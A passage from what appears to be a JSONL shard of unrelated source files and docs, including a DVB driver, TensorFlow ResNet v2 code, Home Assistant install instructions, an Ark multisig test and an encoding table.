AUDIO_STOPPED;\n\tav7110->audiostate.stream_source = AUDIO_SOURCE_DEMUX;\n\tav7110->audiostate.channel_select = AUDIO_STEREO;\n\tav7110->audiostate.bypass_mode = 0;\n\n\tav7110->videostate.video_blank = 0;\n\tav7110->videostate.play_state = VIDEO_STOPPED;\n\tav7110->videostate.stream_source = VIDEO_SOURCE_DEMUX;\n\tav7110->videostate.video_format = VIDEO_FORMAT_4_3;\n\tav7110->videostate.display_format = VIDEO_LETTER_BOX;\n\tav7110->display_ar = VIDEO_FORMAT_4_3;\n\tav7110->display_panscan = VID_VC_AND_PS_PREF;\n\n\tinit_waitqueue_head(&av7110->video_events.wait_queue);\n\tspin_lock_init(&av7110->video_events.lock);\n\tav7110->video_events.eventw = av7110->video_events.eventr = 0;\n\tav7110->video_events.overflow = 0;\n\tmemset(&av7110->video_size, 0, sizeof (video_size_t));\n\n\tdvb_register_device(&av7110->dvb_adapter, &av7110->video_dev,\n\t\t\t &dvbdev_video, av7110, DVB_DEVICE_VIDEO, 0);\n\n\tdvb_register_device(&av7110->dvb_adapter, &av7110->audio_dev,\n\t\t\t &dvbdev_audio, av7110, DVB_DEVICE_AUDIO, 0);\n\n\treturn 0;\n}\n\nvoid av7110_av_unregister(struct av7110 *av7110)\n{\n\tdvb_unregister_device(av7110->audio_dev);\n\tdvb_unregister_device(av7110->video_dev);\n}\n\nint av7110_av_init(struct av7110 *av7110)\n{\n\tvoid (*play[])(u8 *, int, void *) = { play_audio_cb, play_video_cb };\n\tint i, ret;\n\n\tfor (i = 0; i < 2; i++) {\n\t\tstruct ipack *ipack = av7110->ipack + i;\n\n\t\tret = av7110_ipack_init(ipack, IPACKS, play[i]);\n\t\tif (ret < 0) {\n\t\t\tif (i)\n\t\t\t\tav7110_ipack_free(--ipack);\n\t\t\tgoto out;\n\t\t}\n\t\tipack->data = av7110;\n\t}\n\n\tdvb_ringbuffer_init(&av7110->avout, av7110->iobuf, AVOUTLEN);\n\tdvb_ringbuffer_init(&av7110->aout, av7110->iobuf + AVOUTLEN, AOUTLEN);\n\n\tav7110->kbuf[0] = (u8 *)(av7110->iobuf + AVOUTLEN + AOUTLEN + BMPLEN);\n\tav7110->kbuf[1] = av7110->kbuf[0] + 2 * IPACKS;\nout:\n\treturn ret;\n}\n\nvoid av7110_av_exit(struct av7110 *av7110)\n{\n\tav7110_ipack_free(&av7110->ipack[0]);\n\tav7110_ipack_free(&av7110->ipack[1]);\n}\n"} +{"text": "# Generated by Vagrant\n\nsvn2git ansible_ssh_host=192.168.30.30 ansible_ssh_port=22\n"} +{"text": "\n; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> AXFR sener. @ac2.nstld.com. +nocomments +nocmd +noquestion +nostats +time=15\n;; global options: +cmd\n; Transfer failed.\n"} +{"text": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Text;\r\nusing Microsoft.VisualStudio.TestTools.UnitTesting;\r\n\r\nnamespace Google.ProtocolBuffers\r\n{\r\n class TestUtil\r\n {\r\n internal static void AssertBytesEqual(byte[] a, byte[] b)\r\n {\r\n if (a == null || b == null)\r\n {\r\n Assert.AreEqual(a, b);\r\n }\r\n else\r\n {\r\n Assert.AreEqual(a.Length, b.Length, \"The byte[] is not of the expected length.\");\r\n\r\n for (int i = 0; i < a.Length; i++)\r\n {\r\n if (a[i] != b[i])\r\n {\r\n Assert.AreEqual(a[i], b[i], \"Byte[] differs at index \" + i);\r\n }\r\n }\r\n }\r\n }\r\n\r\n }\r\n}\r\n"} +{"text": "module PatternMatch5 where\n\n\ng x = (\\(y:ys) -> (case y of\n p -> 12\n _ -> 52))\n\n\n\nf x = (\\(p:ps) -> (case p of\n x -> 12\n _ -> 52))\n\n"} +{"text": "---\ntitle: \"Installing Home Assistant\"\ndescription: \"Instructions on how to install Home Assistant.\"\n---\n\nThe following will take you through the steps required to install Home Assistant.\n\n1. Download the appropriate install option:\n\n - As an image for your device:\n\n - [Raspberry Pi 3 Model B and B+ 32-bit][pi3-32] (recommended)\n - [Raspberry Pi 3 Model B and B+ 64-bit][pi3-64]\n - [Raspberry Pi 4 Model B (1 GB, 2 GB and 4 GB model) 32-bit][pi4-32] (recommended)\n - [Raspberry Pi 4 Model B (1 GB, 2 GB and 4 GB model) 64-bit][pi4-64]\n - [Tinkerboard][tinker]\n - [Odroid-C2][odroid-c2], [Odroid-N2][odroid-n2], [Odroid-XU4][odroid-xu4]\n - [Intel NUC][intel-nuc]\n\n - As a virtual appliance (x86_64/UEFI):\n \n - [VMDK][vmdk], [VHDX][vhdx], [VDI][vdi], [QCOW2][qcow2], [OVA][Virtual Appliance]\n\n - Not yet supported hardware:\n\n - Raspberry Pi 4 Model B (8 GB model)\n\n - Not recommended hardware:\n\n - [Raspberry Pi][pi1], [Raspberry Pi Zero-W][pi0-w], [Raspberry Pi 2][pi2]\n\n2. Install Home Assistant:\n\n - **For the device images:** Flash the downloaded image to an SD card using [balenaEtcher][balenaEtcher]. If using a Pi, we recommend at least a 32 GB SD card to avoid running out of space.\n - **For the virtual appliance images:** Load the appliance image into your virtual machine software. (Note: You are free to assign as much resources as you wish to the VM, please assign enough based on your add-on needs)\n - For VirtualBox create a new virtual machine, select \"Other Linux (64Bit), assign it at least 2 GB of memory and \"Use an existing virtual hard disk file\", select the VDI file from above, afterwards edit the \"Settings\" of the VM and go \"System\" then Motherboard and Enable EFI, then \"Network\" \"Adapter 1\" Bridged and your adapter.\n - For Hyper-V create a new virtual machine, select \"Generation 2\", assign it at least 2 GB of memory and select \"Connection -> \"Your Virtual Switch that is bridged\", then \"Use an existing virtual hard disk\" and select the VHDX file from above, after creation go to \"Settings\" -> \"Security\" and deselect \"Enable Secure Boot\".\n - For KVM create a new virtual machine in `virt-manager`, select \"Import existing disk image\", provide the path to the QCOW2 image above, choose \"Generic Default\" for the operating system, assign at least 2 GB memory and 1 vCPU, check the box for \"Customize configuration before install\" and select your bridge under \"Network Selection\", then under customization select \"Overview\" -> \"Firmware\" -> \"UEFI x86_64: ...\".\n - For Vmware Workstation create a new virtual machine, select \"Custom\", make it compatible with the default of Workstation and ESX, Choose \"I will install the operating system later\", select \"Linux\" -> \"Other Linux 5.x or later kernel 64-bit\", give it at least 2 GB RAM and 1vCPU, select \"Use Bridged Networking\" then \"Use an existing virtual disk\" and select the VMDK file above, after creation of VM go to \"Settings\" and \"Options\" then \"Advanced\" and select \"Firmware type\" to \"UEFI\".\n\n3. Optional - set up the Wi-Fi or a static IP address. There are two possible places for that:\n - on a blank USB stick with a FAT32 partition having partition label `CONFIG`, while in its root directory, create the `network/my-network` file, or\n - on the Home Assistant SD card's first, bootable partition (labeled `hassos-boot`, might not be auto mounted in Linux) create the `CONFIG/network/my-network` file.\n\n For the content of this file, follow the [Home Assistant Operating System howto][hassos-network].\n\n4. For image-based installs insert the SD card (and optional USB stick) into the device.\n\n5. Turn on your device or virtual appliance. On first boot, it downloads the latest version of Home Assistant which takes around 20 minutes (slower/faster depending on the platform and your Internet connection).\n\n \n\n6. You will be able to reach your installation at `http://homeassistant.local:8123` (if your router supports mDNS, otherwise see below).\n\n
    \n\nWe used `hassio.local` in the past, if you have a system that is installed before this naming change, you might need to use `hassio.local` instead of `homeassistant.local`.\n\n
    \n\n
    \n\nIf your router doesn't support mDNS, then you'll have to use the IP address of your Pi instead of `homeassistant.local`. For example, `http://192.168.0.9:8123`. You should be able to find the IP address of your Pi from the admin interface of your router.\n\n
    \n\n
    \n\nIf you are using a Raspberry Pi please remember to ensure you're using an [appropriate power supply][pi-power] with your Pi. Mobile chargers may not be suitable since some were only designed to provide just enough power to the device it was designed for by the manufacturer. **Do not** try to power the Pi from the USB port on a TV, computer, or similar.\n\n
    \n\nNow you can [configure][configure] your install.\n\n## Updating a Home Assistant installation\n\nBest practice for updating a Home Assistant installation:\n\n1. Backup your installation, using the snapshot functionality Home Assistant offers.\n2. Check the release notes for breaking changes on [Home Assistant release notes](https://github.com/home-assistant/home-assistant/releases). Be sure to check all release notes between the version you are running and the one you are upgrading to. Use the search function in your browser (`CTRL + f`) and search for **Breaking Changes**.\n3. Check your configuration using the [Check Home Assistant configuration](/addons/check_config/) add-on.\n4. If the check passes, you can safely update. If not, update your configuration accordingly.\n5. Select _Dashboard_ from the _Supervisor_ menu, and then select _Update_.\n\n## Run a specific version on Home Assistant\n\nFor this you would need to install the [Terminal & SSH add-on][ssh] or use the console\nthat is available on your device by connecting a keyboard and screen.\n\nTo install the Terminal & SSH add-on, choose **Supervisor**, which is located in the sidebar and then the add-on store.\n\nUse the web-based terminal or SSH to your Home Assistant system, or connect to the console, and run:\n\n```bash\nha core update --version=0.XX.X\n```\n\n## Run the beta version on Home Assistant\n\nIf you would like to test next release before anyone else, you can install the beta version released every three weeks:\n\n1. Backup your installation, using the snapshot functionality Home Assistant offers.\n2. Check the [Home Assistant Beta release notes](https://rc.home-assistant.io/latest-release-notes/) for breaking changes. Be sure to check all release notes between the version you are running and the one you are upgrading to. Use the search function in your browser (`CTRL + f`) and search for **Breaking Changes**.\n3. Select _System_ tab from the _Supervisor_ menu, then select _Join Beta Channel_ under _Supervisor_, then select _Reload_.\n4. Select _Dashboard_ tab from the _Supervisor_ menu, and then select _Update_.\n\n\n[balenaEtcher]: https://www.balena.io/etcher\n[hassos-network]: https://github.com/home-assistant/operating-system/blob/dev/Documentation/network.md\n[pi0-w]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi0-w-4.13.img.gz\n[pi1]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi-4.13.img.gz\n[pi2]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi2-4.13.img.gz\n[pi3-32]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi3-4.13.img.gz\n[pi3-64]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi3-64-4.13.img.gz\n[pi4-32]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi4-4.13.img.gz\n[pi4-64]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_rpi4-64-4.13.img.gz\n[tinker]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_tinker-4.13.img.gz\n[odroid-c2]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_odroid-c2-4.13.img.gz\n[odroid-n2]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_odroid-n2-4.13.img.gz\n[odroid-xu4]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_odroid-xu4-4.13.img.gz\n[intel-nuc]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_intel-nuc-4.13.img.gz\n[vmdk]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_ova-4.13.vmdk.gz\n[vhdx]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_ova-4.13.vhdx.gz\n[vdi]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_ova-4.13.vdi.gz\n[qcow2]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_ova-4.13.qcow2.gz\n[Virtual Appliance]: https://github.com/home-assistant/operating-system/releases/download/4.13/hassos_ova-4.13.ova\n[local]: http://homeassistant.local:8123\n[samba]: /addons/samba/\n[ssh]: /addons/ssh/\n[pi-power]: https://www.raspberrypi.org/help/faqs/#powerReqs\n[configure]: /getting-started/configuration/\n"} +{"text": "/*\n * Copyright (c) 2015 NXP B.V.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. Neither the name of NXP B.V. nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY NXP B.V. AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL NXP B.V. OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * This file is part of the Contiki operating system.\n *\n * Author: Theo van Daele \n *\n */\n#ifndef __HT_SENSOR_H__\n#define __HT_SENSOR_H__\n\n#include \"lib/sensors.h\"\n\nextern const struct sensors_sensor ht_sensor;\n\n#define HT_SENSOR \"TH\"\n\n#define HT_SENSOR_TEMP 0\n#define HT_SENSOR_HUM 1\n\n#endif /* __HT_SENSOR_H__ */\n"} +{"text": "# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Contains definitions for the preactivation form of Residual Networks.\n\nResidual networks (ResNets) were originally proposed in:\n[1] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun\n Deep Residual Learning for Image Recognition. arXiv:1512.03385\n\nThe full preactivation 'v2' ResNet variant implemented in this module was\nintroduced by:\n[2] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun\n Identity Mappings in Deep Residual Networks. arXiv: 1603.05027\n\nThe key difference of the full preactivation 'v2' variant compared to the\n'v1' variant in [1] is the use of batch normalization before every weight layer.\n\nTypical use:\n\n from tensorflow.contrib.slim.nets import resnet_v2\n\nResNet-101 for image classification into 1000 classes:\n\n # inputs has shape [batch, 224, 224, 3]\n with slim.arg_scope(resnet_v2.resnet_arg_scope()):\n net, end_points = resnet_v2.resnet_v2_101(inputs, 1000, is_training=False)\n\nResNet-101 for semantic segmentation into 21 classes:\n\n # inputs has shape [batch, 513, 513, 3]\n with slim.arg_scope(resnet_v2.resnet_arg_scope(is_training)):\n net, end_points = resnet_v2.resnet_v2_101(inputs,\n 21,\n is_training=False,\n global_pool=False,\n output_stride=16)\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nfrom nets import resnet_utils\n\nslim = tf.contrib.slim\nresnet_arg_scope = resnet_utils.resnet_arg_scope\n\n\n@slim.add_arg_scope\ndef bottleneck(inputs, depth, depth_bottleneck, stride, rate=1,\n outputs_collections=None, scope=None):\n \"\"\"Bottleneck residual unit variant with BN before convolutions.\n\n This is the full preactivation residual unit variant proposed in [2]. See\n Fig. 1(b) of [2] for its definition. Note that we use here the bottleneck\n variant which has an extra bottleneck layer.\n\n When putting together two consecutive ResNet blocks that use this unit, one\n should use stride = 2 in the last unit of the first block.\n\n Args:\n inputs: A tensor of size [batch, height, width, channels].\n depth: The depth of the ResNet unit output.\n depth_bottleneck: The depth of the bottleneck layers.\n stride: The ResNet unit's stride. Determines the amount of downsampling of\n the units output compared to its input.\n rate: An integer, rate for atrous convolution.\n outputs_collections: Collection to add the ResNet unit output.\n scope: Optional variable_scope.\n\n Returns:\n The ResNet unit's output.\n \"\"\"\n with tf.variable_scope(scope, 'bottleneck_v2', [inputs]) as sc:\n depth_in = slim.utils.last_dimension(inputs.get_shape(), min_rank=4)\n preact = slim.batch_norm(inputs, activation_fn=tf.nn.relu, scope='preact')\n if depth == depth_in:\n shortcut = resnet_utils.subsample(inputs, stride, 'shortcut')\n else:\n shortcut = slim.conv2d(preact, depth, [1, 1], stride=stride,\n normalizer_fn=None, activation_fn=None,\n scope='shortcut')\n\n residual = slim.conv2d(preact, depth_bottleneck, [1, 1], stride=1,\n scope='conv1')\n residual = resnet_utils.conv2d_same(residual, depth_bottleneck, 3, stride,\n rate=rate, scope='conv2')\n residual = slim.conv2d(residual, depth, [1, 1], stride=1,\n normalizer_fn=None, activation_fn=None,\n scope='conv3')\n\n output = shortcut + residual\n\n return slim.utils.collect_named_outputs(outputs_collections,\n sc.original_name_scope,\n output)\n\n\ndef resnet_v2(inputs,\n blocks,\n num_classes=None,\n is_training=True,\n global_pool=True,\n output_stride=None,\n include_root_block=True,\n spatial_squeeze=True,\n reuse=None,\n scope=None):\n \"\"\"Generator for v2 (preactivation) ResNet models.\n\n This function generates a family of ResNet v2 models. See the resnet_v2_*()\n methods for specific model instantiations, obtained by selecting different\n block instantiations that produce ResNets of various depths.\n\n Training for image classification on Imagenet is usually done with [224, 224]\n inputs, resulting in [7, 7] feature maps at the output of the last ResNet\n block for the ResNets defined in [1] that have nominal stride equal to 32.\n However, for dense prediction tasks we advise that one uses inputs with\n spatial dimensions that are multiples of 32 plus 1, e.g., [321, 321]. In\n this case the feature maps at the ResNet output will have spatial shape\n [(height - 1) / output_stride + 1, (width - 1) / output_stride + 1]\n and corners exactly aligned with the input image corners, which greatly\n facilitates alignment of the features to the image. Using as input [225, 225]\n images results in [8, 8] feature maps at the output of the last ResNet block.\n\n For dense prediction tasks, the ResNet needs to run in fully-convolutional\n (FCN) mode and global_pool needs to be set to False. The ResNets in [1, 2] all\n have nominal stride equal to 32 and a good choice in FCN mode is to use\n output_stride=16 in order to increase the density of the computed features at\n small computational and memory overhead, cf. http://arxiv.org/abs/1606.00915.\n\n Args:\n inputs: A tensor of size [batch, height_in, width_in, channels].\n blocks: A list of length equal to the number of ResNet blocks. Each element\n is a resnet_utils.Block object describing the units in the block.\n num_classes: Number of predicted classes for classification tasks. If None\n we return the features before the logit layer.\n is_training: whether is training or not.\n global_pool: If True, we perform global average pooling before computing the\n logits. Set to True for image classification, False for dense prediction.\n output_stride: If None, then the output will be computed at the nominal\n network stride. If output_stride is not None, it specifies the requested\n ratio of input to output spatial resolution.\n include_root_block: If True, include the initial convolution followed by\n max-pooling, if False excludes it. If excluded, `inputs` should be the\n results of an activation-less convolution.\n spatial_squeeze: if True, logits is of shape [B, C], if false logits is\n of shape [B, 1, 1, C], where B is batch_size and C is number of classes.\n To use this parameter, the input images must be smaller than 300x300\n pixels, in which case the output logit layer does not contain spatial\n information and can be removed.\n reuse: whether or not the network and its variables should be reused. To be\n able to reuse 'scope' must be given.\n scope: Optional variable_scope.\n\n\n Returns:\n net: A rank-4 tensor of size [batch, height_out, width_out, channels_out].\n If global_pool is False, then height_out and width_out are reduced by a\n factor of output_stride compared to the respective height_in and width_in,\n else both height_out and width_out equal one. If num_classes is None, then\n net is the output of the last ResNet block, potentially after global\n average pooling. If num_classes is not None, net contains the pre-softmax\n activations.\n end_points: A dictionary from components of the network to the corresponding\n activation.\n\n Raises:\n ValueError: If the target output_stride is not valid.\n \"\"\"\n with tf.variable_scope(scope, 'resnet_v2', [inputs], reuse=reuse) as sc:\n end_points_collection = sc.name + '_end_points'\n with slim.arg_scope([slim.conv2d, bottleneck,\n resnet_utils.stack_blocks_dense],\n outputs_collections=end_points_collection):\n with slim.arg_scope([slim.batch_norm], is_training=is_training):\n net = inputs\n if include_root_block:\n if output_stride is not None:\n if output_stride % 4 != 0:\n raise ValueError('The output_stride needs to be a multiple of 4.')\n output_stride /= 4\n # We do not include batch normalization or activation functions in\n # conv1 because the first ResNet unit will perform these. Cf.\n # Appendix of [2].\n with slim.arg_scope([slim.conv2d],\n activation_fn=None, normalizer_fn=None):\n net = resnet_utils.conv2d_same(net, 64, 7, stride=2, scope='conv1')\n net = slim.max_pool2d(net, [3, 3], stride=2, scope='pool1')\n net = resnet_utils.stack_blocks_dense(net, blocks, output_stride)\n # This is needed because the pre-activation variant does not have batch\n # normalization or activation functions in the residual unit output. See\n # Appendix of [2].\n net = slim.batch_norm(net, activation_fn=tf.nn.relu, scope='postnorm')\n if global_pool:\n # Global average pooling.\n net = tf.reduce_mean(net, [1, 2], name='pool5', keep_dims=True)\n if num_classes is not None:\n net = slim.conv2d(net, num_classes, [1, 1], activation_fn=None,\n normalizer_fn=None, scope='logits')\n if spatial_squeeze:\n net = tf.squeeze(net, [1, 2], name='SpatialSqueeze')\n # Convert end_points_collection into a dictionary of end_points.\n end_points = slim.utils.convert_collection_to_dict(\n end_points_collection)\n if num_classes is not None:\n end_points['predictions'] = slim.softmax(net, scope='predictions')\n return net, end_points\nresnet_v2.default_image_size = 224\n\n\ndef resnet_v2_block(scope, base_depth, num_units, stride):\n \"\"\"Helper function for creating a resnet_v2 bottleneck block.\n\n Args:\n scope: The scope of the block.\n base_depth: The depth of the bottleneck layer for each unit.\n num_units: The number of units in the block.\n stride: The stride of the block, implemented as a stride in the last unit.\n All other units have stride=1.\n\n Returns:\n A resnet_v2 bottleneck block.\n \"\"\"\n return resnet_utils.Block(scope, bottleneck, [{\n 'depth': base_depth * 4,\n 'depth_bottleneck': base_depth,\n 'stride': 1\n }] * (num_units - 1) + [{\n 'depth': base_depth * 4,\n 'depth_bottleneck': base_depth,\n 'stride': stride\n }])\nresnet_v2.default_image_size = 224\n\n\ndef resnet_v2_50(inputs,\n num_classes=None,\n is_training=True,\n global_pool=True,\n output_stride=None,\n spatial_squeeze=True,\n reuse=None,\n scope='resnet_v2_50'):\n \"\"\"ResNet-50 model of [1]. See resnet_v2() for arg and return description.\"\"\"\n blocks = [\n resnet_v2_block('block1', base_depth=64, num_units=3, stride=2),\n resnet_v2_block('block2', base_depth=128, num_units=4, stride=2),\n resnet_v2_block('block3', base_depth=256, num_units=6, stride=2),\n resnet_v2_block('block4', base_depth=512, num_units=3, stride=1),\n ]\n return resnet_v2(inputs, blocks, num_classes, is_training=is_training,\n global_pool=global_pool, output_stride=output_stride,\n include_root_block=True, spatial_squeeze=spatial_squeeze,\n reuse=reuse, scope=scope)\nresnet_v2_50.default_image_size = resnet_v2.default_image_size\n\n\ndef resnet_v2_101(inputs,\n num_classes=None,\n is_training=True,\n global_pool=True,\n output_stride=None,\n spatial_squeeze=True,\n reuse=None,\n scope='resnet_v2_101'):\n \"\"\"ResNet-101 model of [1]. See resnet_v2() for arg and return description.\"\"\"\n blocks = [\n resnet_v2_block('block1', base_depth=64, num_units=3, stride=2),\n resnet_v2_block('block2', base_depth=128, num_units=4, stride=2),\n resnet_v2_block('block3', base_depth=256, num_units=23, stride=2),\n resnet_v2_block('block4', base_depth=512, num_units=3, stride=1),\n ]\n return resnet_v2(inputs, blocks, num_classes, is_training=is_training,\n global_pool=global_pool, output_stride=output_stride,\n include_root_block=True, spatial_squeeze=spatial_squeeze,\n reuse=reuse, scope=scope)\nresnet_v2_101.default_image_size = resnet_v2.default_image_size\n\n\ndef resnet_v2_152(inputs,\n num_classes=None,\n is_training=True,\n global_pool=True,\n output_stride=None,\n spatial_squeeze=True,\n reuse=None,\n scope='resnet_v2_152'):\n \"\"\"ResNet-152 model of [1]. See resnet_v2() for arg and return description.\"\"\"\n blocks = [\n resnet_v2_block('block1', base_depth=64, num_units=3, stride=2),\n resnet_v2_block('block2', base_depth=128, num_units=8, stride=2),\n resnet_v2_block('block3', base_depth=256, num_units=36, stride=2),\n resnet_v2_block('block4', base_depth=512, num_units=3, stride=1),\n ]\n return resnet_v2(inputs, blocks, num_classes, is_training=is_training,\n global_pool=global_pool, output_stride=output_stride,\n include_root_block=True, spatial_squeeze=spatial_squeeze,\n reuse=reuse, scope=scope)\nresnet_v2_152.default_image_size = resnet_v2.default_image_size\n\n\ndef resnet_v2_200(inputs,\n num_classes=None,\n is_training=True,\n global_pool=True,\n output_stride=None,\n spatial_squeeze=True,\n reuse=None,\n scope='resnet_v2_200'):\n \"\"\"ResNet-200 model of [2]. See resnet_v2() for arg and return description.\"\"\"\n blocks = [\n resnet_v2_block('block1', base_depth=64, num_units=3, stride=2),\n resnet_v2_block('block2', base_depth=128, num_units=24, stride=2),\n resnet_v2_block('block3', base_depth=256, num_units=36, stride=2),\n resnet_v2_block('block4', base_depth=512, num_units=3, stride=1),\n ]\n return resnet_v2(inputs, blocks, num_classes, is_training=is_training,\n global_pool=global_pool, output_stride=output_stride,\n include_root_block=True, spatial_squeeze=spatial_squeeze,\n reuse=reuse, scope=scope)\nresnet_v2_200.default_image_size = resnet_v2.default_image_size\n"} +{"text": "\"use strict\";\n\nconst { Managers, Identities } = require(\"@arkecosystem/crypto\");\nconst utils = require(\"./utils\");\nconst shared = require(\"./shared\");\nconst testUtils = require(\"../../../../lib/utils/test-utils\");\nconst { TransactionFactory } = require('../../../../../helpers/transaction-factory');\n\n/**\n * Send multisig registration transaction\n * @param {Object} options = { }\n * @return {void}\n */\nmodule.exports = async options => {\n Managers.configManager.setFromPreset(\"testnet\");\n\n const passphrases = [\n utils.multiSender1.passphrase,\n utils.multiSender2.passphrase,\n utils.multiSender3.passphrase,\n utils.multiSender4.passphrase,\n utils.multiSender5.passphrase,\n ];\n const participants = passphrases.map(p => Identities.PublicKey.fromPassphrase(p));\n\n const transactions = [\n TransactionFactory.multiSignature(participants, 3)\n .withPassphrase(utils.multiSender1.passphrase)\n .withPassphraseList(passphrases)\n .createOne()\n ];\n shared.multisigRegistration = transactions[0];\n\n await testUtils.POST(\"transactions\", { transactions }, 1); // to node 1\n};\n"} +{"text": "owner = ENG\r\n\r\ncontroller = ENG\r\n\r\nadd_core = ENG\r\nadd_core = IND\r\n\r\ninfra = 5\r\n\r\ninfra = 5\r\n\r\ninfra = 5\r\n"} +{"text": "ISO_8859_10_TO_UCS_TBL = [\n [\"A0\",0xA0],\n [\"A1\",0x104],\n [\"A2\",0x112],\n [\"A3\",0x122],\n [\"A4\",0x12A],\n [\"A5\",0x128],\n [\"A6\",0x136],\n [\"A7\",0xA7],\n [\"A8\",0x13B],\n [\"A9\",0x110],\n [\"AA\",0x160],\n [\"AB\",0x166],\n [\"AC\",0x17D],\n [\"AD\",0xAD],\n [\"AE\",0x16A],\n [\"AF\",0x14A],\n [\"B0\",0xB0],\n [\"B1\",0x105],\n [\"B2\",0x113],\n [\"B3\",0x123],\n [\"B4\",0x12B],\n [\"B5\",0x129],\n [\"B6\",0x137],\n [\"B7\",0xB7],\n [\"B8\",0x13C],\n [\"B9\",0x111],\n [\"BA\",0x161],\n [\"BB\",0x167],\n [\"BC\",0x17E],\n [\"BD\",0x2015],\n [\"BE\",0x16B],\n [\"BF\",0x14B],\n [\"C0\",0x100],\n [\"C1\",0xC1],\n [\"C2\",0xC2],\n [\"C3\",0xC3],\n [\"C4\",0xC4],\n [\"C5\",0xC5],\n [\"C6\",0xC6],\n [\"C7\",0x12E],\n [\"C8\",0x10C],\n [\"C9\",0xC9],\n [\"CA\",0x118],\n [\"CB\",0xCB],\n [\"CC\",0x116],\n [\"CD\",0xCD],\n [\"CE\",0xCE],\n [\"CF\",0xCF],\n [\"D0\",0xD0],\n [\"D1\",0x145],\n [\"D2\",0x14C],\n [\"D3\",0xD3],\n [\"D4\",0xD4],\n [\"D5\",0xD5],\n [\"D6\",0xD6],\n [\"D7\",0x168],\n [\"D8\",0xD8],\n [\"D9\",0x172],\n [\"DA\",0xDA],\n [\"DB\",0xDB],\n [\"DC\",0xDC],\n [\"DD\",0xDD],\n [\"DE\",0xDE],\n [\"DF\",0xDF],\n [\"E0\",0x101],\n [\"E1\",0xE1],\n [\"E2\",0xE2],\n [\"E3\",0xE3],\n [\"E4\",0xE4],\n [\"E5\",0xE5],\n [\"E6\",0xE6],\n [\"E7\",0x12F],\n [\"E8\",0x10D],\n [\"E9\",0xE9],\n [\"EA\",0x119],\n [\"EB\",0xEB],\n [\"EC\",0x117],\n [\"ED\",0xED],\n [\"EE\",0xEE],\n [\"EF\",0xEF],\n [\"F0\",0xF0],\n [\"F1\",0x146],\n [\"F2\",0x14D],\n [\"F3\",0xF3],\n [\"F4\",0xF4],\n [\"F5\",0xF5],\n [\"F6\",0xF6],\n [\"F7\",0x169],\n [\"F8\",0xF8],\n [\"F9\",0x173],\n [\"FA\",0xFA],\n [\"FB\",0xFB],\n [\"FC\",0xFC],\n [\"FD\",0xFD],\n [\"FE\",0xFE],\n [\"FF\",0x138],\n]\n"} +{"text": "(import cstdio)\n(import bitset-enum)\n\n(def-bitset-enum myenum intern int ((a 2) b (c 0x10) d))\n\n(def main (fn extern-c int (void)\n (printf \"%d\\n\" a)\n (printf \"%d\\n\" b)\n (printf \"%d\\n\" c)\n (printf \"%d\\n\" d)\n 0))\n"} +{"text": "/**\n* @file src/llvmir2hll/ir/int_to_fp_cast_expr.cpp\n* @brief Implementation of IntToFPCastExpr.\n* @copyright (c) 2017 Avast Software, licensed under the MIT license\n*/\n\n#include \"retdec/llvmir2hll/ir/int_to_fp_cast_expr.h\"\n#include \"retdec/llvmir2hll/support/debug.h\"\n#include \"retdec/llvmir2hll/support/visitor.h\"\n\nnamespace retdec {\nnamespace llvmir2hll {\n\n/**\n* @brief Constructs a cast operator of LLVM instructions SItoFP/UItoFP.\n*\n* See create() for more information.\n*/\nIntToFPCastExpr::IntToFPCastExpr(ShPtr op, ShPtr dstType,\n\t\tVariant 